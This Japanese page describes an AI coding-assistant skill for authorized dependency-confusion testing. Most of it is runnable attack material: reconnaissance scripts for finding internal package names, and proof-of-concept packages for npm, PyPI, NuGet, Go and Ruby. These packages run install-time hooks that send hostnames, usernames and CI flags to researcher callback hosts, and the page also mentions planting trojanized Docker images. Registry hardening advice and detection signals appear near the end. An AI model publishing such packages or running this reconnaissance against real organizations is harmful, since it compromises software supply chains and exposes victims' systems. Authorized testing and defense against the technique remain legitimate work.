offensive-dependency-confusion について
許可を得た依存関係混同と名前空間の評価向けセキュリティスキルです。内部パッケージ名の調査、各エコシステムのレジストリ解決リスク評価、安全な PoC による検証を扱います。
主な機能
- 01内部パッケージ名の調査
- 02レジストリ設定の評価
- 03エコシステム別の攻撃手法
- 04安全なコールバック PoC 手順
- 05修正提案を含む報告
活用シーン
- 01ロックファイルとビルド定義の確認
- 02公開・プライベートパッケージの解決評価
- 03安全なコールバックによる名前露出の検証
- 04レジストリ強化策の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-dependency-confusionインストール後、Claude Code で/offensive-dependency-confusionを入力して読み込まれたか確認します。
詳細
依存関係の混乱と名前空間を狙った攻撃
依存関係の混乱は、パッケージマネージャーにおける根本的な設計上の緊張を悪用します。つまり、複数のソースからパッケージを解決する必要があるという点です。組織が公開依存関係と並行して内部パッケージを管理している場合、解決ロジックが攻撃対象領域になります。開発者が意図するパッケージの解決方法と、パッケージマネージャーが実際に解決する方法との隙間を悪用します。
Alex Birsanによる2021年の調査では、この種の攻撃がApple、Microsoft、PayPal、Shopify、Netflix、Yelp、Tesla、Uberなどに影響を及ぼしたことが実証されました。根本原因である、バージョンの低いプライベートパッケージよりもバージョンの高い公開パッケージを優先する挙動は、レジストリ設定が不完全な場所では依然として悪用可能です。
このスキルでは、エコシステム固有の悪用手法、安全なPoCの方法論、許可を得たエンゲージメントで内部パッケージ名を発見するための包括的な偵察手法を紹介します。
クイックワークフロー
- 偵察を行い、対象が使用している内部/プライベートパッケージ名を発見します。
- 対象のパッケージエコシステムとレジストリ設定を特定します。
- 候補となるパッケージ名が、対応する公開レジストリで未取得であることを確認します。
- DNSカナリアまたはHTTPコールバックを含む、安全なPoCパッケージを高いバージョン番号で準備します。
- 明確なセキュリティ研究の説明を添えて、PoCを公開レジストリに公開します。
- コールバックエンドポイントを監視し、対象のインフラストラクチャからの実行確認を待ちます。
- コールバックのメタデータ(ホスト名、ユーザー名、CIフラグ、タイムスタンプ)を証拠として記録します。
- 確認後、またはエンゲージメント期間の終了後に、公開レジストリからPoCパッケージを削除します。
- 一連の攻撃手順、影響を受けたシステム、レジストリの強化に関する推奨事項を文書化します。
内部パッケージ名の偵察
対象が使用する内部パッケージを発見することが、最初の重要なステップです。利用可能なあらゆる成果物や手がかりから、パッケージ名を抽出します。
ロックファイルの分析
ロックファイルは、内部パッケージ名を特定するうえで最も信頼性の高い情報源です。解決されたすべての依存関係が、正確なバージョンと、形式によってはレジストリのソースとともに記載されています。
# npm: package-lock.json reveals resolved URLs
# Internal packages often resolve to a private registry
cat package-lock.json | jq -r '
.packages | to_entries[] |
select(.value.resolved != null) |
select(.value.resolved | test("registry.npmjs.org") | not) |
.key
' | sed 's|node_modules/||' | sort -u
# yarn: yarn.lock includes registry URLs inline
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock | \
grep -v 'resolved' | sed 's/@.*//' | sort -u > public_packages.txt
grep -B1 'resolved "https://' yarn.lock | \
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' | \
sed 's/@.*//' | sort -u > possibly_internal.txt
# pip: requirements.txt may reference internal packages
# Look for packages not found on public PyPI
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
sed 's/[>=<!\[].*//; s/\s*$//' | while read pkg; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
[ "$code" = "404" ] && echo "[INTERNAL] $pkg"
done
# Pipfile.lock contains source information
cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt
JavaScriptのソースマップ
本番環境のJavaScriptバンドルにソースマップや判読可能なモジュールパスが含まれている場合、内部パッケージ名が明らかになることがあります。
# Extract source map URLs from JavaScript bundles
curl -s https://target.example.com/app.js | \
grep -oP '//# sourceMappingURL=\K.*'
# Download and parse source map for internal module paths
curl -s https://target.example.com/app.js.map | \
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' | \
sed 's|.*node_modules/||; s|/.*||' | sort -u
# Look for webpack chunk manifests
curl -s https://target.example.com/ | \
grep -oP 'src="[^"]*chunk[^"]*"' | \
sed 's/src="//;s/"//' | while read chunk; do
curl -s "https://target.example.com/$chunk" | \
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u
done
エラーメッセージとスタックトレース
アプリケーションのエラーは、スタックトレースやモジュール解決の失敗を通じて、内部パッケージ名を漏えいさせます。404ページ、APIエラー、デバッグ用エンドポイントを発生させて確認します。
curl -s https://target.example.com/nonexistent 2>&1 | \
grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'
# Also search Wayback Machine for cached error pages with module names
GitHubリポジトリの調査
# Search GitHub for the organization's package manifests and registry configs
gh api search/code \
-X GET \
-f q='org:targetcorp filename:package.json registry.corp' \
-f per_page=10 | jq -r '.items[].path'
# Search for .npmrc files that reveal scope-to-registry mappings
gh api search/code \
-X GET \
-f q='org:targetcorp filename:.npmrc' \
-f per_page=10
# Search for requirements.txt with --extra-index-url
gh api search/code \
-X GET \
-f q='org:targetcorp extra-index-url filename:requirements' \
-f per_page=10
# Search for NuGet.config with private feeds
gh api search/code \
-X GET \
-f q='org:targetcorp filename:nuget.config packageSources' \
-f per_page=10
その他の偵察情報源
# Docker Hub, npm org scopes, PyPI author search
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'
# Also mine job postings for internal tool names and library references
npmスコープの混乱
npmでは、パッケージの名前空間を分けるためにスコープ付きパッケージ(@scope/package-name)を使用します。内部のスコープ付きパッケージがプライベートレジストリに正しく割り当てられていない場合や、スコープなしの内部パッケージが存在する場合に、混乱が生じます。
スコープなしパッケージの混乱
組織がスコープなしの内部パッケージを使用している場合、明示的に上書きされない限り、npmはデフォルトのレジストリ(npmjs.org)から解決します。
# Vulnerable .npmrc -- no registry override for internal packages
registry=https://registry.npmjs.org/
# Internal packages like "corp-utils" resolve from public npm
# Slightly better but still vulnerable .npmrc
registry=https://npm.corp.example.com/
# Falls back to public npm if the private registry does not have the package
# or if the public version is higher
# Check if unscoped internal names are claimable on public npm
target_packages="corp-utils internal-auth shared-config data-pipeline"
for pkg in $target_packages; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
echo "$pkg: HTTP $code"
done
スコープ付きパッケージの混乱
スコープとレジストリの対応付けが欠落しているか、正しく設定されていない場合は、スコープ付きパッケージも脆弱です。
# Vulnerable .npmrc -- scope exists but no registry mapping
registry=https://registry.npmjs.org/
# @targetcorp/internal-lib resolves from public npm if the scope
# is not mapped to the private registry
# Correct .npmrc configuration (for reference in reports)
registry=https://registry.npmjs.org/
@targetcorp:registry=https://npm.corp.example.com/
# Now @targetcorp/* packages resolve exclusively from the private registry
# Check if the target's npm scope is claimed on public npm
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error'
# "Not found" means the scope may be unclaimed
# Try to register the scope on npmjs.org if it is not reserved
npm PoCパッケージ
{
"name": "corp-internal-utils",
"version": "999.0.0",
"description": "Security research - dependency confusion PoC - contact [email protected]",
"scripts": {
"preinstall": "node callback.js || true"
}
}
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');
// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;
dns.resolve(`${label}.your-id.interact.sh`, () => {});
// HTTP callback with minimal metadata
const payload = JSON.stringify({
hostname: os.hostname(), username: os.userInfo().username,
ci: process.env.CI || 'false', platform: os.platform(),
cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
hostname: 'canary.researcher.example', path: '/npm-confusion',
method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();
PyPIの名前空間を狙った攻撃
Pythonのpipには、セキュリティ特性が大きく異なる2つのインデックス設定オプションがあります。
--extra-index-urlと--index-url
# VULNERABLE: --extra-index-url adds a second index alongside PyPI
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
# pip checks BOTH PyPI and the private index, picks the highest version
# SAFE: --index-url replaces PyPI entirely
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
# pip ONLY checks the private index
# Vulnerable pip.conf (or pip.ini on Windows)
[global]
extra-index-url = https://pypi.corp.example.com/simple/
# All pip install commands now check both indexes
# Safe pip.conf
[global]
index-url = https://pypi.corp.example.com/simple/
# Public PyPI is no longer consulted
PyPI PoCパッケージ
# setup.py -- PoC with install/develop/egg_info hook vectors
import os, sys, socket, urllib.request
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
CANARY = "canary.researcher.example"
PKG = "internal-data-pipeline"
def safe_callback(phase):
"""DNS + HTTP callback with minimal metadata. No secrets, no file access."""
try:
h = socket.gethostname()[:30]
u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]
ci = "1" if any(os.getenv(v) for v in
["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"
label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]
try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)
except socket.gaierror: pass
data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()
urllib.request.urlopen(urllib.request.Request(
f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5)
except Exception: pass
class InstallHook(install):
def run(self): safe_callback("install"); install.run(self)
class DevelopHook(develop):
def run(self): safe_callback("develop"); develop.run(self)
class EggInfoHook(egg_info):
def run(self): safe_callback("egg_info"); egg_info.run(self)
setup(
name=PKG, version="9999.0.0",
description="Security research PoC -- dependency confusion -- contact [email protected]",
cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook},
)
NuGetフィードの優先順位の悪用
NuGetは、設定された順にフィードからパッケージを解決しますが、すべてのフィードで見つかったパッケージの中から最も高いバージョンを選択します。
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
</packageSources>
</configuration>
<configuration>
<packageSources><clear />
<add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
</packageSources>
<packageSourceMapping>
<packageSource key="internal"><package pattern="Corp.*" /></packageSource>
</packageSourceMapping>
</configuration>
# Recon: extract NuGet package names from .csproj files
grep -rh 'PackageReference Include=' --include="*.csproj" . | \
sed 's/.*Include="//; s/".*//' | sort -u > nuget_packages.txt
# Check public NuGet for availability
while read pkg; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json")
[ "$code" = "404" ] && echo "[AVAILABLE] $pkg"
done < nuget_packages.txt
// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="DepConfusionCallback" BeforeTargets="Build">
<Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)"
IgnoreExitCode="true" />
</Target>
</Project>
MavenとGradleのリポジトリ順序
Javaエコシステムでは、設定されたリポジトリを順番に調べてアーティファクトを解決します。Maven Centralがプライベートリポジトリより先に登録されている場合、攻撃者はCentral上でgroupId:artifactIdを取得できます。
<repositories>
<repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
<repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories>
# Check Maven Central for groupId:artifactId availability
group_path=$(echo "com.targetcorp" | tr '.' '/')
curl -s -o /dev/null -w "%{http_code}" \
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"
// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
mavenCentral()
maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}
Go モジュールプロキシの悪用
Go モジュールは GOPROXY チェーンを通じて解決されます。デフォルト設定の
GOPROXY=https://proxy.golang.org,direct では、まず公開プロキシが
参照されます。
# Check if a Go module path is claimable
# Internal modules often use the corp domain as the module path
curl -s "https://proxy.golang.org/corp.example.com/internal-lib/@v/list"
# 404/410 means it is not cached on the public proxy
# GOPROXY misconfiguration allows confusion
# If GOPROXY=https://proxy.golang.org,https://goproxy.corp.example.com
# the public proxy is checked first
# Recon: extract Go module dependencies
cat go.sum | awk '{print $1}' | sort -u | \
grep -v 'github.com\|golang.org\|google.golang.org' > go_internal_modules.txt
// Go module with init() callback for PoC
package confusionpoc
import ("net"; "net/http"; "os"; "os/user"; "strings")
func init() {
hostname, _ := os.Hostname()
u, _ := user.Current()
uname := "unknown"
if u != nil { uname = u.Username }
label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
net.LookupHost(label + ".your-id.interact.sh")
http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}
Ruby Gems と Docker イメージの混同
Ruby Gems のスクワッティング
# Check if a gem name is available
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" | \
jq '.name // "NOT FOUND"'
# Gemspec with post-install callback via ext/extconf.rb
Gem::Specification.new do |s|
s.name = "corp-internal-utils"; s.version = "999.0.0"
s.summary = "Security research - dependency confusion PoC"
s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"]
end
# ext/extconf.rb -- executed during gem install
require 'socket'; require 'net/http'
h, u = Socket.gethostname, (ENV['USER'] || 'unknown')
Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil
File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")
Docker イメージタグの混同
修飾されていないイメージ名(例:targetcorp/backend)は Docker Hub に解決されます。
Docker Hub の名前空間が未取得であれば、その名前空間を登録し、プル時に自動実行されるように、トロイの木馬化したイメージを
プッシュします。
# Check if the Docker Hub namespace is available
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'
# Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hub
services:
backend:
image: targetcorp/backend:latest # should be registry.corp.example.com/...
frontend:
image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest
安全な PoC の手法
破壊的なペイロードや情報流出を可能にするペイロードをデプロイすることはありません。すべての PoC では、 安全なコールバックのみを使用します。
DNS カナリアの選択肢
# interactsh (preferred -- free, reliable OOB detection)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v
# Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab
# Self-hosted -- run a logging DNS server on your own NS-delegated domain
コールバックデータの制約
実行されたことを証明し、影響を受けたシステムを特定するために必要な情報のみを収集します: ホスト名、ユーザー名、CI の真偽値、OS/プラットフォーム、パッケージマネージャーのバージョン、 タイムスタンプです。ファイルの内容、CI フラグ以外の環境変数の値、認証情報、トークン、ディレクトリやプロセスの一覧、 または永続的なアクセス手段は、いかなる形であれ収集してはいけません。
パッケージ説明のテンプレート
公開レジストリに公開するすべての PoC パッケージに含めてください:
Security Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: [email protected]
Report reference: [ENGAGEMENT-ID]
検出/防御側の視点
攻撃者の視点を理解することで、エンゲージメントレポートに実行可能な修正ガイダンスを記載できます。
エコシステム別のレジストリ設定の強化:
| エコシステム | 脆弱なパターン | 安全なパターン |
|---|---|---|
| npm | スコープとレジストリのマッピングがない | .npmrc の @scope:registry= |
| pip | --extra-index-url | --index-url(排他的) |
| NuGet | <clear /> のない複数フィード | <clear /> + packageSourceMapping |
| Maven | プライベートリポジトリより先に Central を記載 | プライベートリポジトリを先に記載、またはミラー設定 |
| Gradle | プライベートリポジトリより先に mavenCentral() | repositories {} にプライベートリポジトリのみ |
| Go | デフォルトの GOPROXY | 企業向けに GONOSUMCHECK + GOPRIVATE |
| Ruby | デフォルトの gem ソース | プライベート gem サーバーを指定する source ブロック |
| Docker | 修飾されていないイメージ名 | FQDN のレジストリプレフィックス + ダイジェストによる固定 |
検出シグナル:インストール/ビルドフェーズ中の予期しない外部 DNS/HTTP 通信、 既知の社内パッケージについて公開レジストリを参照するよう変更されたロックファイル、 999.x または 9999.x へのバージョンの飛躍、過去のビルドには存在しない新しいパッケージがビルドログに記録されていること。
# Monitor install-time network activity; audit install scripts
strace -f -e trace=network npm install 2>&1 | grep -i connect
npx can-i-ignore-scripts
pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py
エンゲージメントの要点
| 手順 | アクション | ツール/コマンド |
|---|---|---|
| 1 | ロックファイルを解析して内部名を特定します | jq, grep, awk |
| 2 | GitHub でパッケージマニフェストと .npmrc を探します | gh api search/code |
| 3 | JS ソースマップから名前を抽出します | curl, jq |
| 4 | 公開レジストリで利用可能か確認します | curl against registry APIs |
| 5 | confused でスキャンします | confused -l npm package-lock.json |
| 6 | DNS カナリアリスナーを起動します | interactsh-client |
| 7 | PoC パッケージを作成します(高いバージョン、安全なコールバック) | Custom setup.py / package.json |
| 8 | 公開レジストリに公開します | npm publish / twine upload |
| 9 | コールバックを監視します | interactsh / Burp Collaborator |
| 10 | コールバックの証拠を添えて調査結果を記録します | スクリーンショット、DNS ログ |
| 11 | 公開レジストリから PoC パッケージを削除します | npm unpublish / PyPI delete |
| 12 | エコシステムごとのレジストリ固定による対策を提示します | 上記のレポートテンプレート |
タイミング:CI/CD のコールバックはコミットから数分以内に届きますが、開発者のワークステーションでは数日から数週間かかることがあります。エンゲージメント期間中は、カナリアリスナーを稼働させ続けてください。
調整:公開レジストリへのパッケージ公開がスコープに含まれていることを確認してください。対象組織のセキュリティチームと事前に調整してください。パッケージ名、バージョン、公開日時を記録してください。エンゲージメント期間の終了後は、速やかに PoC パッケージを削除してください。
主な参考資料
- Alex Birsan、「Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies」(2021):https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- confused — 依存関係の混乱を検出するスキャナー:https://github.com/visma-prodsec/confused
- スコープとレジストリ設定に関する npm のドキュメント:https://docs.npmjs.com/cli/v9/using-npm/scope
- --index-url と --extra-index-url に関する pip のドキュメント:https://pip.pypa.io/en/stable/cli/pip_install/
- NuGet パッケージソースマッピング:https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping
- SLSA フレームワーク(ソフトウェア成果物のサプライチェーンレベル):https://slsa.dev/
- interactsh — OOB インタラクションの収集:https://github.com/projectdiscovery/interactsh
- 「Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks」(2020)
- MITRE ATT&CK T1195.001 — サプライチェーンの侵害:ソフトウェアの依存関係と開発ツールの侵害
- GitHub Advisory Database:https://github.com/advisories